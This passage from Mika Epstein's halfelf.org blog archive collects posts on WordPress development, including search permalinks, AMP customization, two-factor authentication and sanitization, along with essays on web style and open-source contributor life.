That meant with WordPress what I wanted was a dynamic way to show the number of posts in a post type, like `[numberofposts type="characters"]` with the default being posts.
## The Code
What I chose to do here was check if the post type exists and, if not, force it to show posts. That way there will never be an error, though it may not show you what you expected if you put in ‘posts’ as your post type.
**Categories:** How To
**Tags:** coding, shortcode, wordpress
---
### [Prettier Search Queries](https://halfelf.org/2016/prettier-search-queries/)
**Published:** December 30, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making search pages a little prettier is easy. Making it prettier for custom searches is a little harder, but still do-able.
**Content:**
By default, when you search on a WordPress site, your search URL has an `/?s=` parameter. Back in the old days of WordPress, we all had URLs like `/?p=123` where 123 was the page ID. With the advent of Pretty Permalinks, we moved to pretty URLs like `/2016/prettier-search-queries/` and everyone was happier.
What about search?
As it happens, the [WP Rewrite API](https://codex.wordpress.org/Class_Reference/WP_Rewrite) actually has a search base of … search. If you go to your Settings > Permalinks page, you won’t see it there, and yet on every site if you go to `https://halfelf.org/search/apache` you’ll actually get that nice, pretty path.
Because of that, you could get away with adding this to your `.htaccess` file in order to get those pretty URLs.
You can also use a plugin like Mark Jaquith’s [Nice Search](http://wordpress.org/extend/plugins/nice-search/).
Those methods work for nearly all sites.
But you know me. I’m not ‘all’ sites.
## Extra Paramater Headache
I had a different problem. Because my site had specialized data, it had [extra search parameters](https://halfelf.org/2016/search-custom-post-data/). I was intentionally limiting my search to specific post type. This meant my URLs looked like this: `/?s=rookie+blue&post_type[]=post_type_shows`
When I translated that to use the pretty search, well …`/search/rookie+blue&post_type[]=post_type_shows` just didn’t work.
This is for a pretty obvious reason when you study the URLs. The first one has `?s=...` and then later an `&`, while the second only has the `&` in there. If I changed the URL to this, it worked: `/search/rookie+blue/?post_type[]=post_type_shows`
The reason for this was due to how parameters work in URLs. They have to start with `?` at the beginning. All additional parameters are added with `?param=value` after that.
## Semi Pretty Search Permalinks
To me, the nicest URLs would be `/search/rookie+blue/section/shows/’. The reality is that people will search shows *and* characters and I wasn’t quite sure how I wanted to handle that. Did I want them to be sections separated by plus signs, or extra ‘folders’ or what? In the end, I decided that for *now* it was okay to just make these prett**ier**.
Taking Mark’s code as my start point, I came up with this:
And that actually does work exactly as I want it to.
**Categories:** How To
**Tags:** coding, plugins, search
---
### [Where Did Underline Go?](https://halfelf.org/2016/where-did-underline-go/)
**Published:** December 28, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So WordPress deleted underline and you're losing your mind? Maybe you should rethink your understanding of underscores.
**Content:**
As of WordPress 4.7, the visual editor no longer has a button for underline. There were a lot of reasons for this, but primary are two:
1. Space is not limitless.
2. Underlining looks like links.
Naturally someone complained that we were breaking style guides:
> When referencing a source of information it is correct form to underline the title of the source.
They happen to be wrong. Let me explain.
## The Web Is Not Print
We use double spaces to indicate the end of a sentence in printed works. We don’t on the Internet. It took me a long time to get used to that, and if you look back on my older posts, you’d see it all over the place. The point here is that we know you don’t use the same punctuation and style you might use online as you do on paper.
I look to the grandpappy of web, Jakob Nielsen, for some backup here. Your writing style for the web is *different* from print. A lot different. In [Writing Style for Print vs. Web](https://www.nngroup.com/articles/writing-style-for-print-vs-web/) he says:
> In linear media — such as print and TV — people expect **you to construct their experience** for them. Readers are willing to follow the author’s lead.
>
> In non-linear hypertext, the rules reverse. Users want to **construct their own experience** by piecing together content from multiple sources, emphasizing their desires in the current moment. People arrive at a website with a goal in mind, and they are ruthless in pursuing their own interest and in **rejecting whatever the site is trying to push**. Banner blindness is only the most extreme manifestation of this selfishness.
But that talks about the way we write and not the design of what it looks like. Web and print design are wildly different too. For newspapers, you have to consider the width of the columns. If you’ve never taken a journalism course, there’s as much about layouts as there is about writing a solid lede.
## Good Writing Has Rules
I’m a huge fan of Strunk & White’s[ *The Elements of Style*](http://www.bartleby.com/141/). My wife has a copy and, when we met, she found my grammar to be deplorable and used to wave it at me a lot. Having read it multiple times (yes, I do re-read it) I’ve found my communication skills have been catapulted because of the directions. People ask me why I’m a good speaker and the answer is because I’m a good *writer*.
One of the lessons from Strunk & White is to [use the active voice](http://www.bartleby.com/141/strunk5.html#11), for example, which is something Nielsen points out as well. You need to engage your readers. You need to bring them on a journey and make it theirs as much as yours. To do that, you need to understand the rules of the language in which you’re writing.
## Content Must Not Confuse By Context
Going back to the heart of the matter, why is it okay that WordPress killed the underline button? It was confusing.
Originally we underlined links because it was easy and being consistent about a display reduced the chances for misunderstandings. Why were they underlined and blue? I actually have no idea. I looked it up but was unable to find a solid answer. My theory was that blue would stand out against the standard grey background as well as the black words so everyone knew what it was for. Similarly, on a monochrome screen, which was very common in the day, an underline would stand out (as it happens, [Sir Tim Berners-Lee picked blue totally by happenstance](http://fagerjord.no/blog/archive/whyareli.html)).
Why underline and not bold or italics? My guess is that since underlining is *not* actually standard practice for writers, it was a safe grab. Otto pointed out that old-old systems always had underlines, but not always italics or bold, so that weighed heavily into the decision as well, clearly.
In a word, it wasn’t *confusing*. It was *consistent*.
## It’s Actually Italics
Did you double take when I said underlining wasn’t standard practice? Surprise! Let me appeal to Misters Strunk & White on [a few matters of form](http://www.bartleby.com/141/strunk2.html#6):
> **Titles.** For the titles of literary works, scholarly usage prefers italics with capitalized initials. The usage of editors and publishers varies, some using italics with capitalized initials, others using Roman with capitalized initials and with or without quotation marks. Use italics (indicated in manuscript by underscoring), except in writing for a periodical that follows a different practice. Omit initial *A* or *The* from titles when you place the possessive before them.
>
> > The *Iliad;* the *Odyssey; As You Like It; To a Skylark; The Newcomes; A Tale of Two Cities;*Dickens’s *Tale of Two Cities.*
Notice the direction to use *italics*? The talk of a manuscript is in reference to the fact that most people wrote manuscripts by hand or on typewriters that didn’t have italics. I remember having to type a line, and then backspace to add in the underline manually. Have you ever tried to write italics manually? It’s not easy!
The web is not handwritten. Computers in 2016 can handle italics.
And it’s not just Strunk & White. [Harvard’s documentation on citation](http://isites.harvard.edu/icb/icb.do?keyword=k70847&pageid=icb.page363223) doesn’t recommend underlining at all. The MLA (Modern Language Association) says, as of this year, to use italics for large works like books and magazines, but quotes for short ones in titles. The Chicago Style Guide reads the same.
## Use Italics, Not Underline
If you skip the whole post, let me make this simple for you: The title of a source should be italicized.
**Categories:** How It Is
**Tags:** design, essay, wordpress, writing
---
### [Two Factor Authentication](https://halfelf.org/2013/two-factor-authentication/)
**Published:** April 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You want to add something to your protection armor? Two-Factor Authentication it is! But what is it, what does it do, and how do you use it?
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/original.jpg)This is something that Tony Perez and Sam “Otto” Wood both recommend, so you know I have to look at it seriously!
I think I need to point out that I’m willing to accept that I’m wrong about things. After all, I can’t know everything, and I am well aware of that. But one of the things I work hard to do is learn, adapt, grown and get better at all this. The whole reason I started talking about tech on this site was I was trying to understand [cloud hosting](https://halfelf.org/2010/what-is-cloud-hosting/) back in August of 2010(A lot of tech posts were ported over from Ipstenu.org after the fact.).
The point is I do this site because I want to learn, and when I learn, even if I don’t understand all of a thing, I want to share what I’ve learned specifically because I know people will come and correct me. Next to answering people’s questions, this is the fastest way I know of to really understand things.
So.
I didn’t mention Two Factor Authentication in my [security post](https://halfelf.org/2013/false-security/ "WordPress False Security"). Using it certainly *would* have mitigated the brute-force attack, though not the DDoS implications of it, and that remains why [I am a fan of ModSecurity](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity"). That doesn’t mean I didn’t just add another tool to my arsenal, or that I’m not willing to try something out.
I am now using Two Factor Authentication.
Two-factor authentication (aka multi-factor authentication, or TFA, T-FA, or 2FA) is a way to verify your authenticity by providing two (ore more) of the following factors:
1. Something the user has – aka a possession factor
2. Something the user knows – aka a knowledge factor
3. Something the user is – aka an inherence factor
For most of us, we authenticate only via knowledge – that would be your standard username and password. You “know” your password, thus you pass the knowledge factor. A PIN (like for your bank card) is the same thing. This is simple, it’s easy, and most of us can remember a password.
Something you have is easy to explain if you’ve ever worked for a company and had a RSA ID or a keyfob with a random generated string. That’s the possession factor at work. In fact, your bank card (again!) is one of these too! It’s something else, something physical that you must have to prove you are actually you.
Inherence factors are things like biometrics, so a fingerprint or retina scan. That’s all you need to know about that. Arguably it’s something you have, but it’s a part of you, something you always have with you, so it’s inherent or innate to your very person. Latin. You’re welcome.
It’s pretty obvious that a strong password only goes so far. If I can’t log into my laptop without a USB keyfob, then my site is super secure. This is better than using the picture and keyphrase that a lot of banks use right now, but it’s also harder. It’s very easy for a company to have you pick a photo, a sentence, and a password and make you verify them when you log in. But to instead make sure you have a specific device with you that verifies who you are and that you’re you in this very second?
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/drew_barrymore_04.jpg)How, exactly, they work depend on which methods your using. There are myriad different methods of possession factors you could use, and how each one works is a little different. But we like multiple factors because if you needed (say) my retina scan and a password to log in *and* a titanium ring, and another person with those three items, then I’ve just described the plot of *Charlie’s Angels: Full Throttle*. I’ve also described a pretty tough nut to crack if you’re not Drew Barrymore.
The issue with these methods is they’re not (yet) practical for the common man, and that’s really a large part of why I *don’t* like TFA very much.
The knowledge factor is the most easiest to hack. We’ve see that. That’s the whole reason we want to use two or more factors to authenticate. I’m not arguing that. The possession factor is the easiest to break (lose your keyfob or be out of cell phone range). Unless there’s some backup to let me in even if I don’t have the second factor, I’m SOL in a lot of ways. Of course, once you have a backup method, then that’s vulnerable. The inherence factor is the least reliable so far and the hardest to implement correctly. There’s a whole Mythbusters on how easy it is to make a fake fingerprint. It’s not that this is easy to hack, it’s that it’s hard to protect.
Okay, so what should we do?
The [Google Authenticator Plugin for WordPress](http://wordpress.org/extend/plugins/google-authenticator/) comes recommended by my man [Otto](http://ottopress.com) and I know I’m not Google’s biggest fan, but this is one instance where I think they did it right.
The plugin uses open source code for [Google Authenticator](https://code.google.com/p/google-authenticator/), which is not something Google really invented so much as perfected. In fact, my old keyfob at work did the same thing.
Here’s how it works. The site you visit generates a string of characters called your Secret Key. This key can be a string (like hE337tusCFxE) or a QR code embedded with all the information from your site (like site name and so on). You enter the data into the app on your phone, and that uses secret string plugins the date and current time, to generate another random number string you use when you log into the phone.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/SNP_2909001_en_v0.png)It’s like a password that always changes, and since your phone and your (say) blog have clocks running, they know what time it is, parse the math on login, and off you go. So yes, this will work if you’ve got no cell reception. But no, it won’t work if you’ve lost your phone (which remains an issue for me). Since each site has a unique key and time is always changing, the code is never the same twice. No two users or sites will have the same key either. There’s more math to it, and you can read what [Otto commented](https://halfelf.org/2013/false-security/#comment-5472) about it.
Now to log in to my blog I need the username and password, plus a random number I can only get at if I have my cellphone and know the passcode there too. In my case, if I lose my phone, I can’t get into my site. This is, most of the time, okay. If I’m on a strange computer, I need the phone anyway to get the password out of 1Password, and I tend not to log on when I’m not on my own computer or my iPad (which requires the use of an app password, less secure all around, but needed).
To me, it’s not risk versus reliability, or even risk versus vulnerability. It’s risk verus risk. So far, the risk of losing my phone is less than the risk of what happens if I lose my website. After all, my website is my life.
**Categories:** How It Works
**Tags:** plugins, risk, security, wordpress
---
### [EasyApache 4, PHP, and WP-CLI](https://halfelf.org/2016/easyapache-4-php-wp-cli/)
**Published:** December 26, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little chat about PHP being a tricky thing in EA 4.
**Content:**
Way back in March, I upgraded my server to use [EasyApache 4](https://halfelf.org/2016/easyapache-4/). I did this because I wanted to have multiple versions of PHP on my server and be able to segregate it by domain. I also wanted to be able to upgrade PHP without having to rebuild Apache.
For the most part, it’s been great. There were a couple odd snafus, like when it accidentally installed the wrong [wp-cli](https://wp-cli.org) on a minor upgrade for me, but it magically fixed it.
## PHP Breaks WP-CLI
The problem was when I ran wp-cli commands, I got this error:
Scary! I tried reinstalling and that didn’t work
I took a note of what version of PHP I had running on command line and so something weird:
> **PHP 7.0.10 (cgi-fcgi)** (built: Aug 22 2016 20:34:53) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies with Zend OPcache v7.0.10, Copyright (c) 1999-2016, by Zend Technologies
## The Wrong PHP
PHP 7.0.10 (cgi-fcgi) sounds like it should be okay, except I knew two thing:
1. Fast CGI (fcgi) isn’t supported on EA 4 yet. It’s not even supported today. They’re working on it but it shouldn’t have been a thing installed.
2. That should be `cli` not `cgi-fcgi`!
I pinged a friend at cPanel who said “Oh no!” and promised to look into it for me. The next day I got an email that there was a minor PHP update to my server last night. I knew that meant PHP had been rebuilt. When I went to look, wp-cli was working again.
Ergo – Something was wrong in PHP 7.0.10. It pushed the wrong version of PHP for command line somehow.
## Risk vs Reward
Obviously this is a risk, having a server auto-update itself. It could install a rogue package or someone could typo or worse. At the same time, having PHP apply it’s own security patches for me means I don’t have to worry that I’m in Japan for a week and forget to do something. The risk, knowing that EA will roll out a fix for me, is less than the reward of being secure.
**Categories:** How It Works
**Tags:** easyapache, php
---
### [Damn You, Autocorrect!](https://halfelf.org/2016/damn-you-autocorrect/)
**Published:** December 23, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Autocorrect is great until you have words and names that aren't included in the 'standard' English dictionaries.
**Content:**
After the seventh time I shouted “stop autocorrecting cmb2 fields!” at my site, I knew I had to do something.
When you run a website where you enter a lot of people’s names, Autocorrect is a curse more than a blessing. Of course I want it on my post content, but when I get to the field where I enter someone’s name, for crying out loud, some names like Nuñez just don’t meet a spell check. And don’t get me started on my friend’s names or my own. I’ve lost track of the number of times I ended up as “Mike.”
This issue used to only be on phones and tablets. Then Apple introduced autocorrect to their MacOS, which resulted in a lot of tweets followed up by “Damn you, Autocorrect!”
## HTML Attributes
If you’ve got a form and you want to tell autocorrect to go away, the code looks like this:
For the most part, this will work. You don’t need *all* of them all of the time, but in my case I was adding names and “Debbie van Houten” was one problem and “Dr. el Farad” was another. I wanted it to just shut up and let me type the name as their parents intended, no matter what. I went whole hog.
But as I mentioned, I use CMB2 and I needed to stop my site from autocorrecting CMB2 fields. It was time for some code.
## CMB2 Custom HTML Attributes
This one is so straightforward I was delighted. When you create a new field, you can set [arbitrary attributes](https://github.com/WebDevStudios/CMB2/wiki/Field-Parameters#attributes).
That was all I needed to do in order to get autocorrect to duck itself. Now I was free to write however weird a name I needed without worrying that autocorrect wanted to call me Mike. Again.
Thanks, autocorrect. Thanks a lot.
**Categories:** How To
**Tags:** cmb2, coding, plugins, wordpress
---
### [Custom AMP Design](https://halfelf.org/2016/custom-amp-design/)
**Published:** December 19, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Customizing the AMP design for your pages can be done, but it takes a little elbow grease.
**Content:**
The basic design of a page using AMP works for news articles. This is by design. It’s meant to be fast to load and fast to display, and that means removing the majority of cruft we shove in sidebars and footers. It means a streamlined website.

That’s a basic page but it works well for what it needs to be. The issue happens when you consider pages that aren’t your typical ‘news’ pages.
Compare the information in a character page. On the left is the normal page and the right is the AMP page.

There’s some work to be done, obviously. Enter [Custom Templates](https://github.com/Automattic/amp-wp#custom-template).
## Calling the Right Template for the Job
The example code works great when you want to universally replace things. I don’t. I want to use a different template per-CPT, so my code is this:
That was the easy part.
## Making Your Template
Now I need to make the template. It’s actually not as obvious as it might be. You can’t just copy the `single.php` file from the AMP templates folder and go. No, if you want to use it as-is, you will need to set up how to pull the custom templates.
For the quick example, we have the [Single Template](https://github.com/Automattic/amp-wp/blob/master/templates/single.php) and with that we have to replace all the calls to `load_parts`. They look like this:
We have to change them because the code for `load_parts` is relative to the file, and it doesn’t call .php so it’s a bit of a drama to call them. I replaced it with this:
This is pretty much what I tell plugin developers not to do. Never ever use `WP_PLUGIN_DIR` unless you absolutely have to. Always use `plugins_url()` and `plugin_dir_path()` please and thank you. But since I can’t use a URL in `include_once()` because it’s https) and I can’t use `plugin_dir_path()` because it’s relative to the file it’s called from, and this is called from the theme. So yes, here I have to use the one constant I tell you not to use. I’m aware of the irony.
The rest of the template is mostly removing things I can’t filter out. I removed the feature image, I removed the byline (we don’t care who wrote the CPTs, authorship isn’t an issue), and I removed the taxonomies.
## Fix The Images
Once the main file is loading properly, it’s time to address the two problems with the images: size and location. There’s, thankfully, some default code that can help with this that didn’t need a template. AMP comes with directions on [changing your featured image](https://github.com/Automattic/amp-wp#featured-image) but the example code had to be tweaked in order to handle multiple post types:
But. This made double images! Why? Because this is a lie: “The default template does not display the featured image currently.”
It does. This is why I removed the featured image in my template. If I can figure out how not to do that, I’ll be 90% of my way to not needing a custom template at all, because everything else I did in the filter.
## Add the Extra Content
Remember `function lez_amp_add_featured_image()` above? Yeah I threw it out and made an insanely complex. I renamed it `function lez_amp_add_content()` and the `if ( $post_type === 'post_type_characters' ) {}` section became huge so that I could output the code the way I wanted.

In the image above, you can see I’ve not only added in a lot more meta content from the post, but I also tweaked the CSS to float the image to the left and resize the SVGs. I went super image light on this, loading the smallest image that would work, and the SVGs are very small sized.
## Overall? It should be easier
The biggest issue I have with this is that I wish I could filter more. If I could turn off the featured images and remove the bylines, then I wouldn’t need the custom template at all. At least, not for the characters. The shows? That’s another matter.
**Categories:** How To
**Tags:** coding, google, themes, wordpress
---
### [Security: Do it the WordPress Way](https://halfelf.org/2016/security-wordpress-way/)
**Published:** December 21, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When there's a choice to reinvent the wheel or use the wheel? Use the damn wheel.
**Content:**
Pretty regularly, people complain that I’m being pedantic and stubborn about security. They argue that their home-grown filters and regular expression checks are more than sufficient for sanitizing and validating data. Invariably I tell them “WordPress has a function for that. Please use it. Don’t create your own.”
Most of the time, this gets a grumbling acquiescence. On the rare occasions it doesn’t I get a pretentious email telling me the developer has been working in tech and computers for 10 to 14 years (10 is most common) and they’ve released code before and they know what they’re talking about.
You know what? You do. Most of the time the code you people come up with *looks* fine. But after 14 years working for a bank and around 7 of doing WordPress plugin reviews and nearly 5 of working for a web host, I’ve got a different point of view than you do. I have a mountain of experience that is hard to match. This doesn’t mean I’m the smartest person down the pike, don’t get me wrong. But I’ve seen a lot. I’m like that Farmer’s guy.
## We know a lot because we’ve seen a lot
With all the things I’ve seen, I’ve developed a very different set of criteria for security beyond just “Is it secure?”
I know the following:
- Someone is always going to be smarter than I am.
- Hackers are incredibly dedicated to being shits.
- Users are incredibly inventive with usage.
- People don’t look before they click.
I ask the following:
- Is this the fastest (most efficient) way to sanity check the data?
- Is it being validated to prevent PEBUaK errors?
- How easy will this be to fix when I find a problem?
- How much damage will this cause if it breaks?
## To WordPress or Not to WordPress
When I have a choice of reinventing the wheel or using what WordPress already sanitizes for me, I will *always* pick WordPress. Every. Single. Time. This is for a very practical reason.
- People don’t upgrade plugins.
- People *do* upgrade WordPress security releases.
By default everyone using WordPress gets security releases and they get them within 12 hours (more or less). Yes, people can and do disable that, but they’re the minority. When you talk about securing 26% of the Internet, the ability to patch people quickly is paramount. WordPress knows this.
If I’m using the `sanitize_name()` function from WordPress and not a hand-hewn regular expression, then if there’s a flaw in that function I *know* it will be patched and the patch pushed and my users made safe. If I make it myself, I have to pray everyone upgrades.
## Excellence Uses The Right Tools
Think of it this way. If your plugin becomes a popular plugin and 2% of WordPress users use it, then that’s .5% of all sites on the Internet using *your* plugin. Which is better for them? Which is safer? Do you rely on the tried and true, tested sanitization via WordPress which will emergency self-update or your own code?
Once you think of it not as “How can I make my code succeed?” but “How can I build trust for 27% of the internet?” it’s clearer.
Rely on WordPress and not your own code whenever possible. It’s smarter. It’s safer. It has the long-term view to take you from a newbie to a well-known tool. If there’s a security hole in WordPress, everyone will work to fix it, and it will get out to more people than just your users.
**Categories:** How It Is
**Tags:** coding, essay, wordpress
---
### [You Are Not Your Code](https://halfelf.org/2016/you-are-not-your-code/)
**Published:** December 16, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'm a writer, an artist, a dreamer, and a contributor to open source. I have the time to give back to the community, to continue to learn and grow, and to make more of the Internet a better place for everyone.
**Content:**
This is not *exactly* what I said at WordCamp US 2016, but it is a great deal of it.
I started my slides for WordCamp US so many times, I probably have enough content for a week of blog posts. The weight of what I was going to say there sat on my shoulders like I’m Atlas. Trying to dredge up the pain from the rejection and harassment I’ve felt over the years, all in order to write, reminds me of the carrion birds, ripping apart Prometheus, while he heals only to be torn anew each day, all for presenting humanity with the gift of fire.
## Perception: We Are What We Code
Too often, when we think about our contributions to WordPress, we think of them in the literal terms. I have written code. I have fixed CSS. I have beta tested. I have created a plugin, a theme, a blog, a store, a book, a career. We make the fatal mistake of boiling down what we are to one thing. The contribution. The code.
## Reality: We Are What We Create
We forget something crucial, that these creations are just that, creations! We have invented something out of nothing, purely with the power of our minds! We’re artists and dreamers and believers and builders. Anyone who’s studied art, music, journalism, knows that there’s a strange dissociation that we have to build in our hearts. The separation between what we create and who we are and what the reviews will be.
## We Can’t See the Forest For the Trees
Artists are, often, seen as temperamental. Capricious creatures who fall to the whim of our desires and passions. People who obsess over one thing to the exclusion of others. Who trash hotels when frustrated. Who lash out. Who take the rejection of a bad review so closely, so personally, they cannot separate themselves from their art.
If you saw my talk at WordCamp Europe earlier in 2016, or read my post about it, that sounds familiar. We, we contributors to open source, are exactly the same. Which is why it is hard, so so hard, to separate our hearts from our heads. We wanted to bring fire to earth. We wanted to share our joy. We wanted to do the right thing and change 26% of the Internet for the better. Give or take.
Instead, we’re told our code sucks. If we don’t offer free help for our work, we’re called greedy and vain. Being driven to fix one part of WordPress is wasting our time, no one uses it. Creating new features? We should fix what’s broken, even if we don’t know how. We are pulled by a million masters, our users, and we can never do enough.
And what about when our contributions are less visible? What about the people who spend hours making sure this WordCamp flowed smoothly? The ones who ensure funding? The one who fixed the inline documentation for core? The people in the support forums who help people for free? The people who review your themes and plugins and try and keep things fair for all. Oh, oh yes. I know that one.
The problem here is that we all do things for good. Everyone you see at a WordCamp, everyone who is a speaker, a volunteer, a contributor, is doing this for good reasons. Maybe not entirely altruistic, we’re not all socialists and software communists like me, but I promise you, every single one of us who steps up and does things for the greater good of WordPress is doing so with the best intentions. We *care*.
And they don’t see that.
> “Reputation is what other people know about you. Honor is what you know about yourself.”
> — Aral Vorkosigan in *A Civil Campaign*, by Lois McMaster Bujold
One of the points I wanted to address in my talk was that there are a LOT of days when you know you’ve done the right thing, and your reputation tanks. While a lot of people here like me, appreciate my work, and respect me, I’m not so naive as to think that’s universal. I know very well that there are people who watched my talk, who read this blog, who dislike me for, say, closing their plugin or deleting their reviews. Or worse, *not* deleting a review.
## The Cost of The Greater Good
I want to say the good of the many outweighs the good of the one, or the few. And there are days where you’re the one. You’re the 20% minority. These days, as my father taught me, will outweigh the ones where you are praised, thanked, lauded, and cherished. It’s the dark part of human nature. You will, you WILL do things for the best intentions, and you will NOT be appreciated for it.
What you do when these things happen? Well you have choices, like I mentioned this summer. And there are downsides to each one. Otto, who’s somewhere around here, spends time talking me down from correcting people. I have a strong urge to “Well, Actually…” the people who insist I have evil in my heart and I’m power hungry. Other people listen to me vent a little. And sometimes I subtweet.
But this is the part that hurts. You can’t win. It’s impossible. People won’t believe you if you defend yourself. They won’t accept your explanations, they’ll see them as excuses. Silence will be seen as proof they were right. Fighting back? A show of weakness or a cover up. There is, literally, no way to win it. Ever.
## Outsmart, Outplay, Outlast
Outsmarting them can be a pyretic win. Outplaying? You can try but I wouldn’t. But what if you keep going. Then the win is not a win but sort of an eventuality. Awesome, I know.
You can’t teach a pig to sing. It frustrates you and annoys the pig. That’s a Southernism from my inlaws. There are some people you just can’t reach, no matter what you do. That’s where the remark of “I’m sorry you feel that way.” comes from. When I say that, I’m not giving up, I’m accepting futility.
And yet. You know that saying? The one about serenity and accepting what we cannot change? I hate it. I don’t believe there’s a single thing we cannot change, just perhaps not as quickly as we’d like. Accepting futility means I accept that there is no way I can, right now, explain myself well enough to change a mind. Yet.
## It’s not about being smarter than someone else, it’s about being smarter than yourself
If you can convince yourself not to be stupid, you will protect yourself from just about everything. Outsmarting yourself is hard, though. You want to believe that you’re right. You have to remember that there is always someone smarter than you, somewhere. And no one is stupider than past you. That’s why we leave ourselves notes in documentation. To make sure future you remembers. Not being stupid means not picking fights. It means recognizing when you’re wrong.
The secret behind outplaying is you’re outplaying your own tendencies and habits. You know yourself. You know when you snap off a reply you shouldn’t, or when your humor is more biting than it should be. You have to play yourself and not do those things. Fool yourself and you’re the fool, but play to your strengths and you can keep yourself humble while preventing your inclination to be stupid.
If you outlive everyone, then you get to write the history. That takes a lot, A LOT of patience. More than most of us have. And it requires being able to tell someone you’re sorry you can’t help them, or you’re sorry they feel that way, and you walk away. And you wait. And wait. And wait. The being quiet part is the hardest, because people like to fill silence, especially you. But you must wait to survive.
## Survival is not about the Fittest
I could tell you how I survive. I could tell you to subtweet, to blog, to scream, to ride your bicycle until your lungs feel inadequate and your legs are on fire and your blood pounds so much, your Apple Watch wonders if you’re having a heart attack. I could tell you to talk to someone, a loved one or a professional, and maybe to try meditation. The Breathe app? Pretty nifty.
Remember how I said everyone at a WordCamp wants to make WordPress better? And remember how I said you’re not code? I lied a little. You ARE code in that you, me, everybody is WordPress. And while I cannot tell you the right answer for you and how YOU can survive the storm and the hate that you will face, I can tell you that you are not alone. That you are one of us. And that WE are here too.
As a team we are stronger. We can rely on each other. We can lean on each other. We can take our shared love of sports, or food, or a same birthday, and find connections with each other.
## What I Don’t Know…
The one thing I cannot tell you is why people hate. I don’t understand it myself. I suspect I never will. But what I can tell you is that we are better together. The way to make it past the hate is together. I am strong, mentally, because I turn to my community, sometimes quietly and sometimes loudly, and ask for help. There’s no shame in that.
**Categories:** How It Is
**Tags:** community, essay, wordcamp
---
### [AMP It Up](https://halfelf.org/2016/amp-it-up/)
**Published:** December 14, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ramping up your WordPress site on mobile with Google's AMPlification project.
**Content:**
We’ve all heard about how Google wants to make mobile pages faster. The [Accelerated Mobile Pages (AMP) Project](https://www.ampproject.org/) is there to deliver and process a pared down version of a webpage, prioritizing speed. Since speed is important to your SEO, and I’m on a bit of an SEO kick, you bet it was next on my to-do list.
I admit, Joost talked about this at his WordCamp US talk this year, and among my notes was this:
> Add AMP – *not* set it and forget it
This is so, so true.
## The AMP Plugin
First its like all things WordPress, you install the plugin [AMP by Automattic](https://wordpress.org/plugins/amp/) and activate it. That does the easy work. Of course then you have to customize the hell out of it to make it look right. Still, out of the box the plugin adds a `/amp/` so if you go to [https://halfelf.org/2016/amp-it-up/amp/](https://halfelf.org/2016/wordcamp-lgbt-tribe-code/amp/) then you’ll see my AMPlified pages. If you’re using Multisite, you *may* need to re-save your permalinks for the URL to work.
There are some big warnings about this though.
1\) No analytics tracking
2\) You don’t get to design your AMP page
3\) It doesn’t work on the front page or pages or cpts
Don’t worry! We can fix all that!
## Analytics
If you’re using [Monster Insights for Analytics](https://wordpress.org/plugins/google-analytics-for-wordpress/), supposedly they added in some code to make tracking work, but I was unable to find it in the code or documentation. More than likely it’s in their Pro version. I don’t use that plugin simply because I found it easier to use a 28 line `mu-plugin` for my network and I don’t need to see my stats all the time. I used the [AMP WP recommended method](https://github.com/Automattic/amp-wp#analytics) and put it in the same `mu-plugin` as I have my regular analytics.
## Design
This is a little messy. Design is a very complicated word. If you just want to change the colors, you can do this via Appearance > AMP. Whaaaat!? That’s right, it lets you change the header color and font color right there. Super simple. If, though, you want to make your CSS tweaks directly to change that light blue header to navy, perhaps, you can follow the [AMP WP directions for CSS additions](https://github.com/Automattic/amp-wp#rule-additions) and have this:
I *strongly* recommend making few changes. Oh, color of course, but don’t go and make a 1 meg CSS file. The point of AMP is to load faster, after all!
There’s a whole second level of design that I’ll get into later. It needs its own post.
## AMP your CPTS
Right now you can only do it via code. The [AMP WP directions for CPTs](https://github.com/Automattic/amp-wp#custom-post-type-support) state they may come up with a better way, but for now you do this:
It’s pretty direct, and I added this in the bottom of my existing CPT code.
**Categories:** How To
**Tags:** design, mobile, wordpress
---
### [RankingCoach Drops the Ball](https://halfelf.org/2016/rankingcoach-drops-ball/)
**Published:** December 12, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes the target audience is missed, but assuming all businesses still match the old model is short sighted.
**Content:**
I’ve been using OnPage for SEO assistance recently and decided to check out a couple other options, one of which being [RankingCoach](https://www.rankingcoach.com).
## tl;dr – Traditional Business Only
If you want to skip the rest of this post, the summary is that they don’t meet the needs of a non-traditional business. While the interface is nice and the UX better than OnPage, the end result is that it doesn’t understand the more outré of rare businesses, and it’s not very adaptable. Oh and you have to give them your credit card.
## No Location? Nonsense!
For some reason, RankingCoach assumes that all businesses have to have a physical presence. It’s 2016, and as shitty as this year has been, they don’t. A lot of businesses don’t matter where they physically are, it’s all about the virtual presence, and that’s okay. While you can force it to understand that you’re international, the idea of being non-national is still lot on them, and oddly prioritized.
## The rarer the business, the worse the results
I’m going to put this out there as a level of stupidity and ignorance that upset me. There’s only one value for LGBT businesses and it’s a fucking *gay bar*.

I’m going to be frank here. This moment set and sealed this product for me. Gay bars. That’s it. That’s the *only* gay business? What a crock.
I tried putting in TV Entertainment but there’s nothing for that:

## Business Directories First
Instead of angling for SEO by teaching you how to make your site work better, RankingCoach tells you how to get listed in business directories first. Instead of being about SEO, it’s about how to promote your business. It also gave me 30 tasks to do for helping my site rank better in local SEO, *even though* I marked my site as international.
## Missing the Mark
Now look, I know the site says its for online marketing, but the website says this:
> State of the art software for online marketing, SEO and social media
It can’t see my Twitter account, which is linked on the page. It thinks I should get backlinks from Tumblr. I happen to have a link back to the main site from the Tumblr.
There was some weird advice that was useful, like having a static front page, but it couldn’t detect half the things I’d already done, and it was totally unable to understand non traditional businesses.
Summary? Not for me.
**Categories:** How It Is
**Tags:** seo
---
